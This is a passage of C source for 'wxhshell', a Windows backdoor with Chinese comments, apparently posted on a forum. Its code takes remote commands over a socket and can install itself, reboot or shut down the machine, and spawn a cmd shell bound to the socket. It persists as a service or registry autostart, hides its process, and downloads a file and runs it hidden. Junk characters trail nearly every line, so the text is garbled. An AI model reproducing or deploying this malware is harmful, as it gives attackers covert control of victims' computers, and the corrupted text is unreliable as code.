  U<NpDjc"  
  // 帮助 mlgdwM  
  case '?': { 8C=Y(vPk2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F77[fp  
    break; %;PPu$8K9  
  } W3K"5E0ck  
  // 安装 YAZ=-@]`\  
  case 'i': { bct&ge7YX  
    if(Install()) [M2,bc8SJV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p$@=N6)I.k  
    else GKPqBi[rO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /kVy#sT|  
    break; ?lU]J]  
    } y\ @;s?QL  
  // 卸载 ' n~N*DH  
  case 'r': { 3<msiC P  
    if(Uninstall()) i\rI j0+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (w% hz']  
    else c uquA ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a(8]y.`Tv  
    break; G$4lH>A&  
    } 'eqvK|Uj:  
  // 显示 wxhshell 所在路径 jt2 m-*aP  
  case 'p': { mcDW&jwQ  
    char svExeFile[MAX_PATH]; :"O=/p+*Us  
    strcpy(svExeFile,"\n\r"); #D+Fq^="P  
      strcat(svExeFile,ExeFile); tQJ@//C\z  
        send(wsh,svExeFile,strlen(svExeFile),0); +.\JYH=yEr  
    break; v-[|7Pg}Z  
    } \{+7`4g  
  // 重启 m$hSL4 N  
  case 'b': { O,JthlAV4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =OO_TPEZ  
    if(Boot(REBOOT)) kZGhE2np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3g2t{ %  
    else { ZLKS4  
    closesocket(wsh); <WBGPzVZE  
    ExitThread(0); YQX>)'  
    } D?5W1m]E,s  
    break; o(~JZi k  
    } P!YT{}  
  // 关机 dt3Vy*zL  
  case 'd': { 9i|6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0#*\o1r\p  
    if(Boot(SHUTDOWN)) on&N=TN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#W%--  
    else { )vGRfFjw_  
    closesocket(wsh); GJy,)EO6{  
    ExitThread(0); >Q5E0 !]  
    } ^ad> (W  
    break; 6o A0a\G'  
    } 9R;s;2$.  
  // 获取shell `(B1 "qRi  
  case 's': { a/)TJv  
    CmdShell(wsh); u{p\8v%7  
    closesocket(wsh); Bdbw!zRR$  
    ExitThread(0); JBUJc  
    break; " 31C8  
  } nI_Zk.R  
  // 退出 p-KuCobz]  
  case 'x': { 29Q5s$YD@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [sNn^x  
    CloseIt(wsh); S-f3rL[?  
    break; 2,QkktJLo  
    } qs-:JmA_w  
  // 离开 \HK#d1>ox  
  case 'q': { :f/ p5 c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ACp_RM  
    closesocket(wsh); 'pm2C6AC  
    WSACleanup(); (vj2XiO^+  
    exit(1); zLh ~x  
    break; rX{|]M":T  
        } =h_4TpDQ  
  } \v-> '  
  } zRE7 w:  
Zp__  
  // 提示信息 acGmRP9g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wH${q@z_  
} 06Hn:IT18  
  } 3&?Tc|F+  
y:|7.f  
  return; Bxa],inuZ  
} h0^V!.- 5  
caj)  
// shell模块句柄 nW drVT$  
int CmdShell(SOCKET sock) \GvVs  
{ BgpJ;D+N4  
STARTUPINFO si; -O_UpjR;  
ZeroMemory(&si,sizeof(si)); h;ShNU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "!Qhk3*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H`Z4a N  
PROCESS_INFORMATION ProcessInfo; #!`zU4&2  
char cmdline[]="cmd"; IYCKF/2o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -I_lCZ{Nbi  
  return 0; ,-b{oS~u  
} -dvDAs{X  
`jZX(H   
// 自身启动模式 MZd\.]G@  
int StartFromService(void) *UyV@  
{ TM^1 {0;r5  
typedef struct =AKW(v  
{ ^g[])2",  
  DWORD ExitStatus; ,^<+5TYM7  
  DWORD PebBaseAddress; f$ Ap\(.  
  DWORD AffinityMask; _ma4  
  DWORD BasePriority; Y?5yzD:  
  ULONG UniqueProcessId; VUnEI oKM  
  ULONG InheritedFromUniqueProcessId; pz$$K?  
}   PROCESS_BASIC_INFORMATION; NqwVs VL  
Sm Ei _u]'  
PROCNTQSIP NtQueryInformationProcess; "pWdz}!  
D1j 7iv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <m6Xh^Ko;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~<Lf@yu-{  
C`jP8"-  
  HANDLE             hProcess; <HzAh<_@F  
  PROCESS_BASIC_INFORMATION pbi; bL&]3n9Rwu  
)Xh_q3=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9e1 6 g  
  if(NULL == hInst ) return 0; AngECkF-  
-pD&@Wlwak  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R_ 1C+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @"/}Al  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KqSa"76R  
P5d@-l%}  
  if (!NtQueryInformationProcess) return 0; :O!G{./(_  
LNN:GD)>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g~y9j88?  
  if(!hProcess) return 0; sTA/2d  
o6y,M!p@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m+m6"yE#_  
6>L.)V  
  CloseHandle(hProcess); tZ@ +18  
z1FbW&V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qr<%rU^{.  
if(hProcess==NULL) return 0; jF3!}*7,  
8x9kF]=  
HMODULE hMod; )>Q 2G/@  
char procName[255]; dq8 /^1P  
unsigned long cbNeeded; p;7 4 +q  
kR6 t .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v\Wm[Ld  
y[zA [H:  
  CloseHandle(hProcess); {4QOUqAu  
<{U{pCT%  
if(strstr(procName,"services")) return 1; // 以服务启动 Fm;)7.% >  
@\D D|o67  
  return 0; // 注册表启动 Ad,r(0a LZ  
} qbEj\ b[  
9V66~Bf5  
// 主模块  hY1|qp  
int StartWxhshell(LPSTR lpCmdLine) Asl H V@K  
{ L@z !,r,  
  SOCKET wsl; r;XQ i  
BOOL val=TRUE; HEuM"2{DMM  
  int port=0; I1myuZ  
  struct sockaddr_in door; _M&.kha  
bg,}J/  
  if(wscfg.ws_autoins) Install(); r9M={jC  
Z M+Hb_6f  
port=atoi(lpCmdLine); tRy D@}  
FR}H$R7#  
if(port<=0) port=wscfg.ws_port; . ?p}:  
2 &Byq  
  WSADATA data; R2$U K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vf?#W,5>=  
t>wxK ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lm wh`oOl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Z O'X9  
  door.sin_family = AF_INET; Qsntf.fT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P*PL6UQ  
  door.sin_port = htons(port); f^)uK+:.  
'!-?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fl"y@;;#h  
closesocket(wsl); 9 <KtI7  
return 1; O$Vm#|$sq  
} gFT~\3j p=  
x}.d`=  
  if(listen(wsl,2) == INVALID_SOCKET) { CJ?gjV6  
closesocket(wsl); m"G N^V7  
return 1; "k-ov9yK  
} q~J oGTv  
  Wxhshell(wsl); z}1xy+  
  WSACleanup(); Nr"N\yOA/  
-m160k3  
return 0; aE BP9RX}z  
eh(Q^E;*  
} ,0Zn hS)kq  
%EGr0R(  
// 以NT服务方式启动 p? ?/r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O|Ic[XfLx  
{ C|f7L>qe  
DWORD   status = 0; "rGOw'!q>  
  DWORD   specificError = 0xfffffff; y<`?@(0$  
q.MVF]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nuQ6X5>.=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $G_Q`w=jM  
  serviceStatus.dwWin32ExitCode     = 0; ,Us2UEWNv  
  serviceStatus.dwServiceSpecificExitCode = 0; {TncqA  
  serviceStatus.dwCheckPoint       = 0; c,q"}nE8w  
  serviceStatus.dwWaitHint       = 0; 0sd-s~;  
+V9B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ 6.lb\  
  if (hServiceStatusHandle==0) return; dPx<Dz;  
?Y{^un  
status = GetLastError(); 8},<e>q  
  if (status!=NO_ERROR) jRG\C=&(x  
{ 2Nn1-wdhb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W3/ 7BW`  
    serviceStatus.dwCheckPoint       = 0; 6!B^xm.R@  
    serviceStatus.dwWaitHint       = 0; (kC} ,}  
    serviceStatus.dwWin32ExitCode     = status; g6g$nY@Jm  
    serviceStatus.dwServiceSpecificExitCode = specificError; _~[?> cF%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KO|pJ3  
    return; `xUG|  
  } p08kZ  
^5]u BOv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 23-t$y]  
  serviceStatus.dwCheckPoint       = 0; ole|J  
  serviceStatus.dwWaitHint       = 0; ADGnBYE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VD24X  
} G*\abL  
7%9)C[6NSs  
// 处理NT服务事件,比如:启动、停止 l>~`;W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RxZm/:yuJ.  
{ x=5P+_  
switch(fdwControl) "#pzZ)Zh  
{ wn+j39y?ZY  
case SERVICE_CONTROL_STOP: -@2'I++"@  
  serviceStatus.dwWin32ExitCode = 0; uuSR%KK]|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e40udLH~x  
  serviceStatus.dwCheckPoint   = 0; -|}%~0)/bH  
  serviceStatus.dwWaitHint     = 0; $_C+4[R?  
  { *KK[(o}^J-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yGvDn' m  
  } b]*X<,p  
  return; x _==Ss  
case SERVICE_CONTROL_PAUSE: [?chK^8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FaFp_P?  
  break; 6F`qi:a+  
case SERVICE_CONTROL_CONTINUE: pe()f/Jx(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (*,8KLV_i  
  break; dhHEE|vrz  
case SERVICE_CONTROL_INTERROGATE: ,+tPRkwA^  
  break; z)lM2x>|*  
}; W+gpr|R2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yl-fbYH  
} _Vjpw,  
6eQsoKK  
// 标准应用程序主函数 XGfzEld2"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _(C^[:s  
{ -(*nSD9  
BhKO_wQ?:J  
// 获取操作系统版本 naz:A  
OsIsNt=GetOsVer(); uBmxh%]C~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &hayR_F9  
U98_M)-%&  
  // 从命令行安装  tPA:_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qyz>ZPu}sz  
0[/vQ+O]2  
  // 下载执行文件 =7 VCtd/  
if(wscfg.ws_downexe) { nfX12y_SXL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3DW3LYo{  
  WinExec(wscfg.ws_filenam,SW_HIDE); GR%{T'ZD`  
} 7JI:=yY!>:  
o(qEkR:4kd  
if(!OsIsNt) { pI>*u ]x  
// 如果时win9x,隐藏进程并且设置为注册表启动 "u;YI=+  
HideProc(); vM`7s[oAK  
StartWxhshell(lpCmdLine); JSgpb ?(  
} =}v ;1m  
else h* s`^W3  
  if(StartFromService()) @EHIp{0.  
  // 以服务方式启动 SK+@HnKd  
  StartServiceCtrlDispatcher(DispatchTable);  \~>e_;  
else ExCM<$,  
  // 普通方式启动 S[mM4et|  
  StartWxhshell(lpCmdLine); vZ@g@zB4o0  
|3;(~a)%  
return 0; p<KIF>rf|  
}
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只看该作者 1 发表于: 2006-10-10
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